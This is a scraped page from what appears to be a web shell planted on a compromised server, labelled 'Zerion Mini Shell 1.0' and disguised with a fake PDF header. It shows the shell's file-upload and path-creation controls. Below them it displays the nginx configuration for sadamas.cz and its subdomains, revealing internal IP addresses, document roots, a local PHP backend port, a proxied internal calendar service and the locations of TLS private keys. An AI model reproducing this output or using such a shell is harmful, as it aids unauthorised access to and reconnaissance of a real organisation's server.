%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/nginx/sites-available/
Upload File :
Create Path :
Current File : //etc/nginx/sites-available/sadamas.cz

#server {
#	listen 10.27.27.5:80;  listen 127.0.0.1; ## listen for ipv4
#	server_name  www.sadamas.cz;
#	
#	location / {
#		root   /www/sadamas.cz/www.sadamas.cz;
#		index  index.html index.htm index.php;
#		autoindex on;		
#		autoindex_exact_size off;
#	}
#	location ~ \.php$ {
#		include fastcgi_params;
#		fastcgi_pass  127.0.0.1:9000;
#		fastcgi_index  index.php;
#		fastcgi_param  SCRIPT_FILENAME    /www/sadamas.cz/www.sadamas.cz$fastcgi_script_name;
#	}
#}
server {
    listen 10.27.27.5:80; 
    server_name  www.sadamas.cz;
    rewrite ^/(.*) https://www.sadamas.cz$request_uri permanent;
}

server {
	listen 10.27.27.5:443 ssl http2; 
	server_name www.sadamas.cz;
	
	include ssl_params;
ssl_certificate /etc/letsencrypt/live/varak.net-0001/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/varak.net-0001/privkey.pem; # managed by Certbot

	
		location / {
		root   /www/sadamas.cz/www.sadamas.cz;
		index  index.html index.htm index.php;
		autoindex on;		
		autoindex_exact_size off;
	}
	location ~ \.php$ {
		include fastcgi_params;
		fastcgi_pass  127.0.0.1:9000;
		fastcgi_index  index.php;
		fastcgi_param  SCRIPT_FILENAME    /www/sadamas.cz/www.sadamas.cz$fastcgi_script_name;
	}

}

server {
    listen 10.27.27.5:80;  listen 127.0.0.1;
    server_name  sadamas.cz;
    return       301 https://www.sadamas.cz$request_uri;
}
server {
    listen 10.27.27.5:443 ssl http2; 
    server_name  sadamas.cz;
    include ssl_params;
ssl_certificate /etc/letsencrypt/live/varak.net-0001/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/varak.net-0001/privkey.pem; # managed by Certbot
    return       301 https://www.sadamas.cz$request_uri;

}

## EPGP
server {
    listen 10.27.27.5:80; 
    server_name  epgp.sadamas.cz;
    rewrite ^/(.*) https://epgp.sadamas.cz$request_uri permanent;
}

server {
	listen 10.27.27.5:443 ssl http2; 
	server_name epgp.sadamas.cz;
	
	include ssl_params;
ssl_certificate /etc/letsencrypt/live/varak.net-0001/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/varak.net-0001/privkey.pem; # managed by Certbot

	
		location / {
		root   /www/sadamas.cz/epgp.sadamas.cz;
		index  index.html index.htm index.php;
		autoindex on;		
		autoindex_exact_size off;
	}
	location ~ \.php$ {
		include fastcgi_params;
		fastcgi_pass  127.0.0.1:9000;
		fastcgi_index  index.php;
		fastcgi_param  SCRIPT_FILENAME    /www/sadamas.cz/epgp.sadamas.cz$fastcgi_script_name;
	}

}

## Calendar
server {
    listen 10.27.27.5:80; 
    server_name  calendar.sadamas.cz;
    rewrite ^/(.*) https://calendar.sadamas.cz$request_uri permanent;
}

server {
	listen 10.27.27.5:443 ssl http2; 
	server_name  calendar.sadamas.cz;
	location / {
      	  proxy_pass http://localhost:11080;
	  proxy_set_header Host $host;
	  proxy_set_header    X-Forwarded-Host $host;
          proxy_set_header    X-Forwarded-Server $host;
          proxy_set_header    X-Forwarded-For $proxy_add_x_forwarded_for;
          proxy_set_header    X-Real-IP $remote_addr;
          proxy_redirect      off;
        }  
	
    include ssl_params;
ssl_certificate /etc/letsencrypt/live/varak.net-0001/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/varak.net-0001/privkey.pem;

 # managed by Certbot
}

# server {
# 	listen 10.27.27.5:443 ssl http2; 
# 	server_name calendar.sadamas.cz;
	
# 	include ssl_params;
# 	ssl_certificate  /etc/nginx/certs/calendar.sadamas.cz.crt;
#     ssl_certificate_key  /etc/nginx/certs/calendar.sadamas.cz.key;
# 	root   /www/sadamas.cz/calendar.sadamas.cz;	
# 		location / {
# 		index  index.html index.htm index.php;
# 		autoindex on;		
# 		autoindex_exact_size off;
# 		rewrite ^/$ /app/webroot/;
#                 rewrite ^(.*)$ /app/webroot/$1;
# 	}
# 	location /app/webroot {
# 		if (!-e $request_filename){
# 			rewrite ^(.*)$ /index.php;
# 		}
# 	}
# 	location ~ \.php$ {
# 		include fastcgi_params;
# 		fastcgi_pass  127.0.0.1:9000;
# 		fastcgi_index  index.php;
# 		fastcgi_param  SCRIPT_FILENAME    /www/sadamas.cz/calendar.sadamas.cz$fastcgi_script_name;
# 	}
# }


Zerion Mini Shell 1.0